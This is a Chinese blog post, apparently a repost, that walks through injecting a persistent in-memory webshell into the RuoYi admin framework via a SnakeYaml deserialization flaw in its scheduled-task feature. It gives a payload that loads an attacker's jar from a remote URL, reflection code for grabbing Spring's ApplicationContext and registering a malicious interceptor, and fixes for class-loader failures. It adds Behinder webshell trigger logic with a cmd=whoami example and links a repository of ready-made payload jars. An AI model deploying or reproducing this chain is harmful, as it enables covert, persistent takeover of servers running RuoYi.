RuoYi 可用内存马

admin 2022年2月9日04:23:07评论727 views字数 6229阅读20分45秒阅读模式

前言

前段时间有师傅在群里问“若依怎么利用 SnakeYaml 反序列化漏洞注入内存马”,当时觉得直接注入SpringBoot的Interceptor类内存马即可。但是后来发现事情没有那么简单,本篇博客用于记录自己踩的坑。


如果不想看分析可拉到最后,已给出可用 jar 包及构造使用的项目。


漏洞分析


这里简单看一下 RuoYi 触发 SnakeYaml 反序列化漏洞的漏洞点。


漏洞点在后台 系统监控 > 定时任务 处,可以调用类的方法

RuoYi 可用内存马


系统会调用 com.ruoyi.quartz.util.JobInvokeUtil#invokeMethod 方法来处理系统任务


首先会获取需要执行的目标,即我们的 payload,再获取实例名和方法名以及方法参数

然后判断实例名是否是带完全包名称的类名,如果不是的话,则调用 SpringUtils.getBean(beanName)获得实例;

如果是的话,则使用 Class.forName(beanName).newInstance() 获得实例

最后调用 invokeMethod(SysJob sysJob) 方法实现方法的调用

public static void invokeMethod(SysJob sysJob) throws Exception    {        String invokeTarget = sysJob.getInvokeTarget();        String beanName = getBeanName(invokeTarget);            String methodName = getMethodName(invokeTarget);        List<Object[]> methodParams = getMethodParams(invokeTarget);
if (!isValidClassName(beanName)) { Object bean = SpringUtils.getBean(beanName); invokeMethod(bean, methodName, methodParams); } else { Object bean = Class.forName(beanName).newInstance(); invokeMethod(bean, methodName, methodParams); } }

跟进 com.ruoyi.quartz.util.JobInvokeUtil#invokeMethod 可以看到这里通过 getDeclaredMethod 获得了类的方法,然后通过反射执行方法。


RuoYi 可用内存马

当我们传入的类名为完全包名称,需要满足三个条件才能正常使用


  • 具有无参构造方法

  • 调用的方法需要是类自身声明的方法,不能是他的父类方法

  • 构造方法和调用的方法均为 public


org.yaml.snakeyaml.Yaml  是符合这些条件的,我们可以利用这个点去触发 SnakeYaml 反序列化漏洞,而 SnakeYaml 反序列化漏洞具体分析和利用方法,可以参考 Mi1k7ea 师傅的文章,这里就不多赘述。


以下测试我都使用一下payload,其他利用方法改改即可

org.yaml.snakeyaml.Yaml.load('!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["you_url_of_jar"]]]]')

第一代马儿


首先我使用把 bitterzzZZ师傅写的马儿 的逻辑放到恶意类中,在获取上下文环境时就报错了,主要是因为这里的触发点为定时任务,触发点和Web服务不在同一个线程(大概是这个意思)

RuoYi 可用内存马


知道了原因就是解决问题了,主要思路是利用别的方法获得上下文环境,第一时间想到的是LandGrey师傅 利用 intercetor 注入 spring 内存 webshell  给出的另一种获得   ApplicationContext 的方法,通过反射获得 LiveBeansView 类的属性,通过这个属性值来获取 ApplicationContext 总可以了吧(而且版本也是符合的)


// 1. 反射 org.springframework.context.support.LiveBeansView 类 applicationContexts 属性java.lang.reflect.Field filed = Class.forName("org.springframework.context.support.LiveBeansView").getDeclaredField("applicationContexts");// 2. 属性被 private 修饰,所以 setAccessible truefiled.setAccessible(true);// 3. 获取一个 ApplicationContext 实例org.springframework.web.context.WebApplicationContext context =(org.springframework.web.context.WebApplicationContext) ((java.util.LinkedHashSet)filed.get(null)).iterator().next();// 4. 获得 adaptedInterceptors 属性值org.springframework.web.servlet.handler.AbstractHandlerMapping abstractHandlerMapping = (org.springframework.web.servlet.handler.AbstractHandlerMapping)context.getBean("requestMappingHandlerMapping");java.lang.reflect.Field field = org.springframework.web.servlet.handler.AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors");field.setAccessible(true);java.util.ArrayList<Object> adaptedInterceptors = (java.util.ArrayList<Object>)field.get(abstractHandlerMapping);

更换代码后没啥问题,能够正常注入内存马,在此基础上加上了删除马儿和冰蝎逻辑后就上传到 GitHub,以为此事就此结束


第二代马儿

过了十来天,有师傅说我的马儿在 linux 系统下运行的 RuoYi 注入不进去,具体情况如下:

  • 测试版本为 RUOYI-VUE 3.6

  • 在 Windows 可注入内存马,但是自己打包的 jar 包不行

  • 在 Linux 中无法注入内存马


看了一下RuoYi-VUE 3.6 和我测试版本 RuoYi 4.6 的 Spring Boot 和 Srping都是相同的,按理来说都一样才对


打包问题


首先要了一份他打包的 jar 包,发现 jar 包结构有点问题。前面那个是我使用 maven 打包,能够正常使用的 jar 包,是符合 SPI 机制的。而后面那个则是通过 Project Structure > Project Settsings > Aritifacts 打包的,把依赖也打包进来了,而关键的文件则没有在正确的位置。使用 maven 打包项目即可解决该问题

RuoYi 可用内存马


新的获得 ApplicationContext 方法

然后是在 linux 中无法使用的问题,通过查看报错信息可以了解到是在获得上下文环境时出现了问题

RuoYi 可用内存马


通过对比可以发现(左 linux 右 windows),在 linux 环境下 org.springframework.context.support.LiveBeansViewapplicationContexts 属性中确实没有我们想要的值


RuoYi 可用内存马


找一下注册逻辑(左 linux 右 windows)发现在 linux 环境下 mbeanDomain 为 null,导致他不会把我们的 ApplicationContext 放入 applicationContexts 属性中


RuoYi 可用内存马

虽然不知道啥原因导致mbeanDomain不同,但是估计得找一个新的方法获得ApplicationContext


我把这个问题丢给 r2师傅 后,他找了一会后给了我个在若依能够使用的方法

Field f = Thread.currentThread().getContextClassLoader().loadClass("com.ruoyi.common.utils.spring.SpringUtils").getDeclaredField("applicationContext");f.setAccessible(true);org.springframework.web.context.WebApplicationContext context =(org.springframework.web.context.WebApplicationContext)f.get(null);

他主要是通过 dump 内存后发现有个成色不错的类,正好符合我们的需求


RuoYi 可用内存马



在启动阶段会把 applicationContext 赋值到他的 applicationContext 属性中,且该属性被static修饰

RuoYi 可用内存马


后面使用 java-object-searcher,也找到了合适的获得  ApplicationContext 方法


RuoYi 可用内存马



RuoYi 可用内存马



Field field = Thread.currentThread().getClass().getDeclaredField("runnable");field.setAccessible(true);Object obj = field.get(Thread.currentThread());field = obj.getClass().getDeclaredField("qs");field.setAccessible(true);obj = field.get(obj);field = obj.getClass().getDeclaredField("context");field.setAccessible(true);obj = field.get(obj);Map m = (Map) obj;org.springframework.web.context.WebApplicationContext context = (org.springframework.web.context.WebApplicationContext)m.get("applicationContextKey");


修改之后就能用了


加载器问题


但是在此过程中,又有一个问题


当时我在测试 linux 环境下时使用的是在 linux 下跑运行 ruoyi-admin.jar(官方给的运行方法也是运行 jar 包),发现在 payload 运行到获取上下文前就抛出异常了,查了一遍发现是在继承HandlerInterceptorAdapter时无法找到HandlerInterceptorAdapter 这个类,这就有点奇怪了,在加载过程中是正常的,在继承的时候就找不到了。


RuoYi 可用内存马

后来发现是加载器问题,可参考 深入Spring Boot:ClassLoader的继承关系和影响

  1. 在IDE里,直接run main函数
    则Spring的ClassLoader直接是SystemClassLoader。ClassLoader的urls包含全部的jar和自己的target/classes

  2. 以fat jar运行

    执行应用的main函数的ClassLoader是LaunchedURLClassLoader,它的parent是SystemClassLoader

    并且LaunchedURLClassLoader的urls是 fat jar里的BOOT-INF/classes!/目录和BOOT-INF/lib里的所有jar。


看一下 HandlerInterceptorHandlerInterceptorAdapter 存在于 spring-webmvc-5.2.12.RELEASE.jar ,存放于 BOOT-INF/lib 下。


当我们以fat jar运行时,使用的是 LaunchedURLClassLoader ,所以在程序运行过程中是能够找到该类的


RuoYi 可用内存马


RuoYi 可用内存马



那为什么我们的恶意类去继承HandlerInterceptorAdapter  时找不到该类呢


这里大概看一下寻找 HandlerInterceptorAdapter 的过程


可以看到,这里使用的是 URLClassLoader 作为类加载器

RuoYi 可用内存马


根据双亲委派模型会去引导类加载器和扩展类加载器找该类,这肯定是找不到的,然后回到 AppClassLoader 来加载类,这里只有一个 ruoyi-admin.jar 包,找不到 HandlerInterceptorAdapter


RuoYi 可用内存马


最后回到 URLClassLoader,他会去我们我们的恶意 jar 包找,这也是找不到的,最后只能抛出 NoClassDefFoundError


RuoYi 可用内存马


而  LaunchedURLClassLoader中则会去 spring-webmvc.jar 中找到我们需要的类

RuoYi 可用内存马



RuoYi 可用内存马

我们使用 LaunchedURLClassLoader来加载这个类即可,详见 Github


以上加载器继承关系如下

RuoYi 可用内存马


总结


至此所有发现的问题已解决,这里总结一下以上比较坑的点:


  1. 反序列化点在定时任务,和以往的在 Web 服务中不同


  2. windows 和 linux 使用 idea 启动项目时有一些参数值是不一样的,在 windows 中会把 applicationContext 注册到 org.springframework.context.support.LiveBeansView  的 applicationContexts 中,而 linux 环境下则不会


  3. 以 fat jar 运行时使用的是 LaunchedURLClassLoader ,而在 Yaml 中使用 URLClassloader 来加载类,导致 Yaml 加载类过程中找不到 spring 包里的类。

项目地址:https://github.com/lz2y/yaml-payload-for-ruoyi

此外,这里也记录一下其他比较坑的点

在实现冰蝎逻辑后,在测试的时候发现没法触发,后来发现是因为我主页测试的,如果在未登录情况下会跳转到 登陆界面,解决方法是带上cookie使用冰蝎或者直接在登陆界面触发:/login?cmd=1 (添加一个 cmd != null 是防止影响其他业务,也可自行修改)

else if (cmd != null && request.getMethod().equals("POST")){      // for rebeyond // 冰蝎的逻辑}


在 ruoyi-vue 前后端分离版本中,在前端传参后台可能接收不到参数值,比较好的方法就是直接在后端传值

RuoYi 可用内存马



或者从前端使用api http://localhost/dev-api/?cmd=whoami


RuoYi 可用内存马


在 ruoyi-vue 前后端分离版本中,在使用冰蝎的时候会有点问题,报错如下图。具体原因和解决方案还未清楚,知道的大佬也请指教

RuoYi 可用内存马

来源:先知 

注:如有侵权请联系删除


RuoYi 可用内存马

欢迎大家加群一起讨论学习和交流
(此群已满200人,需要添加群主邀请)

RuoYi 可用内存马

最好的状态是未来可期。


原文始发于微信公众号(衡阳信安):RuoYi 可用内存马

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年2月9日04:23:07
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   RuoYi 可用内存马https://cn-sec.com/archives/769549.html

发表评论

匿名网友 填写信息